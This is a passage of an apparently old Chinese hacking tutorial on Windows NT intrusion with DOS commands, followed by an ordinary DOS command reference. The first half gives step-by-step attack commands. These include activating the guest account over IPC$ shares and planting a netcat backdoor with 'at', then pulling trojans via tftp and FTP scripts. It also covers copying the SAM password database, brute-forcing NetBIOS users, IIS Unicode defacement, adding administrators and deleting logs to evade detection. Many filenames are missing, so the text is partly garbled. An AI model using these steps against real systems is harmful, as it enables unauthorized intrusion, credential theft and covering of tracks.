/add----------------------这里是讲映射对方的C盘,当然其他盘也可以,只要存在就行了.我们这里把对方的C盘映射到本地的Z盘 use z:\\127.0.0.1\c$----------------------net start telnet这样可以打开对方的TELNET服务.----------------------这里是将Guest用户激活,guest是NT的默认用户,而且无法删除呢?不知道是否这样,我的2000就是删除不了它。 net user guest /active:yes----------------------这里是把一个用户的密码改掉,我们把guest的密码改为lovechina,其他用户也可以的。 只要有权限就行了呀!net user guest lovechinanet命令果然强大啊!2:at一般一个入侵者入侵后都会留下后门,也就是种木马了,你把木马传了上去,怎么启动他呢?那么需要用AT命令,这里假设你已经登陆了那个服务器。 你首先要得到对方的时间,net time \\127.0.0.1将会返回一个时间,这里假设时间为12:1,现在需要新建一个作业,其ID=1at \\127.0.0.1 12:3 这里假设了一个木马,名为,这个东西要在对方服务器上.这里介绍一下NC,NC是NETCAT的简称,为了方便输入,一般会被改名.它是一个TELNET服务,端口为99.等到了12:3就可以连接到对方的99端口.这样就给对方种下了木马.3:telnet这个命令非常实用,它可以与远方做连接,不过正常下需要密码、用户,不过你给对方种了木马,直接连到这个木马打开的端口 127.0.0.1 99这样就可以连到对方的99端口.那你就可以在对方运行命令了,这个也就是肉鸡.4:FTP它可以将你的东西传到对方机子上,你可以去申请个支持FTP上传的空间,国内多的是,如果真的找不到,我给个,不错的.当我们申请完后,它会给用户名,密码,以及FTP服务器.在上传前需要登陆先,这里我们假设FTP服务器是,用户名是HUCJS,密码是ftp 他会要求输入用户,成功后会要求输入密码.----------------------下面先说上传,假设你需上传的文件是,它位于C:\下,传到对方D:\get c:\ d:\假设你要把对方C盘下的,下到你的机子的D盘下put c:\ d:\5:copy下面我说说怎样把本地的文件复制到对方硬盘上去,需要建立好IPC$连接才有效。 这里我们把本地C盘下的复制到127.0.0.1的C盘下copy \\127.0.0.1\c$\----------------------如果你要复制到D盘下把C改为D,就行了!copy \\127.0.0.1\d$\----------------------如果你要把他复制到WINNT目录里就要把输入copy \\127.0.0.1\admin$\$是winnt----------------------要把对方的文件复制过来,顺便告诉大家NT的备份的数据库放在x:\winnt\repair\sam._ sam._是数据库的文件名下面就把127.0.0.1的数据库复制到本地C盘下copy \\127.0.0.1\admin$\repair\sam._ c:\----------------------6:set如果你跑进了一部机子,而且想黑他(这思想只能在特别时候才准有),当然他的80端口要开,不然你黑给谁看。 这时需要用SET命令!下面是我得到的结果!我来分析它,只是找主页在那而已。 COMPUTERNAME=PENTIUMIIComSpec=D:\WINNT\system32\_LENGTH=0GATEWAY_INTERFACE=CGI/1.1HTTP_ACCEPT=*/*HTTP_ACCEPT_LANGUAGE=zh-cnHTTP_CONNECTION=Keep-AliveHTTP_HOST=当前登陆者的IP,这里本来是显示我的IP,被我删除了HTTP_ACCEPT_ENCODING=gzip, deflateHTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)NUMBER_OF_PROCESSORS=1Os2LibPath=D:\WINNT\system32\os2\dll;OS=Windows_NTPath=D:\WINNT\system32;D:\WINNTPATHEXT=;;;_TRANSLATED=E:\vlroot主页放在的地址,只要你看到PATH_TRANSLATED=的后面就是主页的存放地址。 这里是E:\vlrootPROCESSOR_ARCHITECTURE=x86PROCESSOR_IDENTIFIER=x86 Family 6 Model 3 Stepping 3, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=0303PROMPT=$P$GQUERY_STRING=/c+setREMOTE_ADDR=_HOST=_METHOD=GETSCRIPT_NAME=/scripts/..%2f../winnt/system32/_NAME=_PORT=80SERVER_PORT_SECURE=0SERVER_PROTOCOL=HTTP/1.1SERVER_SOFTWARE=Microsoft-IIS/3.0对方使用IIS/3.0SystemDrive=D:SystemRoot=D:\WINNTTZ=GMT-9USERPROFILE=D:\WINNT\Profiles\Default Userwindir=D:\WINNT粉红色的那行就是对方主页存放地址,这里告诉大家一个技巧,很笨的技巧啊,不过只能用这个方法才能100%的找到主页的名称,当你DIR这个目录时,一定会看到很多文件,你可以把所有文件在浏览器这样输入/文件名,这样只要看到和看到的也面一模一样,那么这就是主页的名称了。 7:nbtstat如果你扫到一部NT的机子,他的136到139其中一个端口开了的话,就要用这个命令得到用户了。 顺便告诉大家这是netbios,得到用户名后就可以猜猜密码了。 例如比较简单的密码,密码和用户名一样的,都试下,不行就暴力破解吧!现在网上很多NT的机子都开了这些端口的,你可以练习下,我们来分析得到的结果。 命令是nbtstat -A -A一定要大写哦。 下面是得到的结果。 NetBIOS Remote Machine Name TableName Type Status---------------------------------------------Registered Registered Registered Registered Registered Registered Registered Registered Registered Registered RegisteredMAC Address = 00-E0-29-14-35-BAPENTIUMII <00> UNIQUEPENTIUMII <20> UNIQUEORAHOTOWN <00> GROUPORAHOTOWN <1C> GROUPORAHOTOWN <1B> UNIQUEPENTIUMII <03> UNIQUEINet~Services <1C> GROUPIS~PENTIUMII...<00> UNIQUEORAHOTOWN <1E> GROUPORAHOTOWN <1D> UNIQUE..__MSBROWSE__.<01> GROUP粉红色的就是登陆过这部系统的用户,可能你不知道怎么看,大家是不是看到了一窜数字,只要这窜数字是<03>的话,那他前面的就是用户。 这里的用户是PENTIUMII。 8:Shutdown关了对方的NT服务器的命令Shutdown \\IP地址 t:2020秒后将NT自动关闭,三思后才能运行这个命令,这样对对方造很大的损失,要做个有良心的入侵者呀。 9:DIR这个命令没什么好讲,但是却非常重要,他是查看一目录里的所有文件、文件夹。 你可以本地试下。 10:echo著名的漏洞Unicode,这个命令可以简单的黑一下有这个漏洞的主机。 我们假设我们要把“反独裁,反一党制!”写入,有2种方法,大家看看有什么区别。 echo 反独裁,反一党制!> 反独裁,反一党制!>>第一个的意思是覆盖原有的内容,把“反独裁,反一党制!”写进。 第二个的意思是把“反独裁,反一党制!”加到里面。 “>>”产生的内容将追加进文件中,“>”则将原文件内容覆盖。 大家可以本地试下。 可能你会问,这样简单黑下有什么好玩的,其实他可以用来下载主页到对方的目录里。 1、首先,我们需要申请一个免费的主页空间。 2、用echo在可写目录下建立如下内容的txt文件:(以chinren服务器为例。 )open (你的FTP服务器,申请时你的空间提供商会给你的)cnhack(你申请时的用户名)test(你申请时的密码)get c:\inetpub\wwwroot\(这里是把你空间上的下载到对方的c:\inetpub\wwwroot\)bye(退出FTP对话,相当在98下的DOS,用EXIT退出DOS)具体的做法:输入 echo open > c:\输入 echo cnhack >> c:\输入 echo 39abs >> c:\输入 echo get c:\inetpub\wwwroot\+>>+c:\最后输入 ftp -s:c:\ (利用ftp的-s参数,执行文件里的内容。 )等命令完成时,文件已经下载到你指定的文件里了。 注意:取得文件后,请删除。 (如果不删除,很容易会给别人看到你的密码。 )记得要 del c:\11:attrib这个命令是设置文件属性的。 如果你想黑一个站,而他的主页的文件属性设置了只读,那就很可怜呀,想删除他也不行,想覆盖他也不行。 倒!不过有这个命令就别怕了。 attrib -r 这个命令是把的只读属性去掉。 如果把“-”改为“+”则是把这个文件的属性设置为只读----------------------attrib +r 这个命令是把的属性设置为只读。 12:del当你看到这个标题可别倒下啊!现在要离开127.0.0.1了,要删除日志,当然要删除日志啦!想被捉吗。 呵呵。 NT的日志有这些del C:\winnt\system32\logfiles\*.*del C:\winnt\ssytem32\config\* C:\winnt\system32\dtclog\*.*del C:\winnt\system32\* C:\winnt\system32\* C:\winnt\* C:\winnt\*只要删除这些就可以了。 有些系统NT安装在D盘或其他盘,就要把C改成其他盘。 黑客常用dos命令2建立一个空连接 命令:net use \\192.168.0.198\ipc$ /user:administrator 查看远程主机的共享资源 命令:net view \\ip 查看远程主机的当前时间 命令: net time \\ip 得到远程主机的NetBIOS用户名列表(需要打开自己的NBT) 命令:nbtstat -A ip 删除连接: net use \\127.0.0.1\ipc$ /del 映射/删除远程共享: net use z: \\127.0.0.1\c 向远程主机复制文件: copy 路径\文件名 \\IP\共享目录名,如: copy d:\ \\IP\c$ 即将d盘下的复制到对方c盘内 把远程主机上的文件复制到自己的机器里: copy \\127.0.0.1\c$\ c:\ 远程添加计划任务: at \\IP 时间 程序名 如: at \\IP 11:00 1)查看本地主机的共享资源(可以看到本地的默认共享) net share 2)得到本地主机的用户列表 net user 3)显示本地某用户的帐户信息 net user 帐户名 4)显示本地主机当前启动的服务 net start5)启动/关闭本地服务 net start 服务名net stop 服务名6)在本地添加帐户 net user 帐户名 密码 /add 7)激活禁用的用户 net uesr 帐户名 /active:yes 8)加入管理员组 net localgroup administrators xuliguo /addtftp -i 你的IP get ** c:\winnt\system32\** m溢出的对方SHELL后在DOS下上传木马 tftp -i 自已的IP get *** time at \\对方的IP 时间 ***命令大全一)MD——建立子目录 1.功能:创建新的子目录 2.类型:内部命令 3.格式:MD[盘符:][路径名]〈子目录名〉 4.使用说明: (1)“盘符”:指定要建立子目录的磁盘驱动器字母,若省略,则为当前驱动器; (2)“路径名”:要建立的子目录的上级目录名,若缺省则建在当前目录下。 例:(1)在C盘的根目录下创建名为FOX的子目录;(2)在FOX子目录下再创建USER子目录。 C:、>MD FOX (在当前驱动器C盘下创建子目录FOX) C:、>MD FOX 、USER (在FOX 子目录下再创建USER子目录) (二)CD——改变当前目录 1.功能:显示当前目录 2.类型:内部命令 3.格式:CD[盘符:][路径名][子目录名] 4.使用说明: (1)如果省略路径和子目录名则显示当前目录; (2)如采用“CD、”格式,则退回到根目录; (3)如采用“CD.。 ”格式则退回到上一级目录。 例:(1)进入到USER子目录;(2)从USER子目录退回到子目录;(3)返回到根目录。 C:、>CD FOX 、USER(进入FOX子目录下的USER子目录) C:、FOX、USER>CD.。 (退回上一级根目录) C:、FOX>CD、 (返回到根目录) C:、> (三)RD——删除子目录命令 1.功能:从指定的磁盘删除了目录。 2.类型:内部命令 3.格式:RD[盘符:][路径名][子目录名] 4.使用说明: (1)子目录在删除前必须是空的,也就是说需要先进入该子目录,使用DEL(删除文件的命令)将其子目录下的文件删空,然后再退回到上一级目录,用RD命令删除该了目录本身; (2)不能删除根目录和当前目录。 例:要求把C盘FOX子目录下的USER子目录删除,操作如下: 第一步:先将USER子目录下的文件删空; C、>DEL C:、FOX、USER、*。 * 第二步,删除USER子目录。 C、>RD C:、FOX、USER (四)DIR——显示磁盘目录命令 1.功能:显示磁盘目录的内容。 2.类型:内部命令 3.格式:DIR [盘符][路径][/P][/W] 4.使用说明:/P的使用;当欲查看的目录太多,无法在一屏显示完屏幕会一直往上卷,不容易看清,加上/P参数后,屏幕上会分面一次显示23行的文件信息,然后暂停,并提示;Pressany key to continue /W的使用:加上/W只显示文件名,至于文件大小及建立的日期和时间则都省略。 加上参数后,每行可以显示五个文件名。 PATH——路径设置命令 1.功能:设备可执行文件的搜索路径,只对文件有效。 2.类型:内部命令 3.格式:PATH[盘符1]目录[路径名1]{[;盘符2:],〈目录路径名2〉…} 4.使用说明: (1)当运行一个可执行文件时,DOS会先在当前目录中搜索该文件,若找到则运行之;若找不到该文件,则根据PATH命令所设置的路径,顺序逐条地到目录中搜索该文件; (2)PATH命令中的路径,若有两条以上,各路径之间以一个分号“;”隔开; (3)PATH命令有三种使用方法: PATH[盘符1:][路径1][盘符2:][路径2]…(设定可执行文件的搜索路径) PATH:(取消所有路径) PATH:(显示目前所设的路径) (六)TREE——显示磁盘目录结构命令 1.功能:显示指定驱动器上所有目录路径和这些目录下的所有文件名。 2.类型:外部命令 3.格式:TREE[盘符:][/F][》PRN] 4.使用说明: (1)使用/F参数时显示所有目录及目录下的所有文件,省略时,只显示目录,不显示目录下的文件; (2)选用>PRN参数时,则把所列目录及目录中的文件名打印输出。 (七)DELTREE——删除整个目录命令 1.功能:将整个目录及其下属子目录和文件删除。 2.类型:外部命令 3.格式:DELTREE[盘符:]〈路径名〉 4.使用说明:该命令可以一步就将目录及其下的所有文件、子目录、更下层的子目录一并删除,而且不管文件的属性为隐藏、系统或只读,只要该文件位于删除的目录之下,DELTREE都一视同仁,照删不误。 使用时务必小心!!! 五、磁盘操作类命令 (一)formAT——磁盘格式化命令 1.功能:对磁盘进行格式化,划分磁道和扇区;同时检查出整个磁盘上有无带缺陷的磁道,对坏道加注标记;建立目录区和文件分配表,使磁盘作好接收DOS的准备。 2.类型:外部命令 3.格式:formAT〈盘符:〉[/S][/4][/Q] 4.使用说明: (1)命令后的盘符不可缺省,若对硬盘进行格式化,则会如下列提示:WARNING:ALL DATA ON NON——REMOVABLE DISK DRIVE C:WILL BE LOST ! Proceed with format (Y/N)? (警告:所有数据在C盘上,将会丢失,确实要继续格式化吗?) (2)若是对软盘进行格式化,则会如下提示:Insert mew diskette for drive A; and press ENTER when ready… (在A驱中插入新盘,准备好后按回车键)。 (3)选用[/S]参数,将把DOS系统文件、及复制到磁盘上,使该磁盘可以做为DOS启动盘。 若不选用/S参数,则格式化后的磙盘只能读写信息,而不能做为启动盘; (4)选用[/4]参数,在1.2MB的高密度软驱中格式化360KB的低密度盘; (5)选用[/Q]参数,快速格式化,这个参数并不会重新划分磁盘的磁道貌岸然和扇区,只能将磁盘根目录、文件分配表以及引导扇区清成空白,因此,格式化的速度较快。 (6)选用[/U]参数,表示无条件格式化,即破坏原来磁盘上所有数据。 不加/U,则为安全格式化,这时先建立一个镜象文件保存原来的FAT表和根目录,必要时可用UNFORRMAT恢复原来的数据。 (二)UNformAT恢复格式化命令 1.功能:对进行过格式化误操作丢失数据的磁盘进行恢复。 2.类型:外部命令 3.格式:UNformAT〈盘符〉[/L][/U][/P][/TEST] 4.使用说明:用于将被“非破坏性”格式化的磁盘恢复。 根目录下被删除的文件或子目录及磁盘的系统扇区(包括FAT、根目录、BOOT扇区及硬盘分区表)受损时,也可以用UNformAT来抢救。 (1)选用/L参数列出找到的子目录名称、文件名称、大孝日期等信息,但不会真的做formAT工作。 (2)选用/P参数将显示于屏幕的报告(包含/L参数所产生的信息)同时也送到打印机。 运行时屏幕会显示:“Print out willbe sent to LPT1” (3)选用/TEST参数只做模拟试验(TEST)不做真正的写入动作。 使用此参数屏幕会显示:“Simulation only” (4)选用/U参数不使用MIRROR映像文件的数据,直接根据磁盘现状进行UNformAT。 (5)选用/PSRTN;修复硬盘分区表。 若在盘符之后加上/P、/L、/TEST之一,都相当于使用了/U参数,UNformAT会“假设”此时磁盘没有MIRROR映像文件。 注意:UNformAT对于刚formAT的磁盘,可以完全恢复,但formAT后若做了其它数据的写入,则UNformAT就不能完整的救回数据了。 UNformAT并非是万能的,由于使用UNformAT会重建FAT与根目录,所以它也具有较高的危险性,操作不当可能会扩大损失,如果仅误删了几个文件或子目录,只需要利用UNDELETE就够了。 三) CHKDSK——检查磁盘当前状态命令 1.功能:显示磁盘状态、内存状态和指定路径下指定文件的不连续数目。 2.类型:外部命令 3.格式:CHKDSK [盘符:][路径][文件名][/F][/V] 4.使用说明: (1)选用[文件名]参数,则显示该文件占用磁盘的情况; (2)选[/F]参数,纠正在指定磁盘上发现的逻辑错误; (3)选用[/V]参数,显示盘上的所有文件和路径。 (四)DISKCOPY——整盘复制命令 1.功能:复制格式和内容完全相同的软盘。 2.类型:外部命令 3.格式:DISKCOPY[盘符1:][盘符2:] 4.使用说明: (1)如果目标软盘没有格式化,则复制时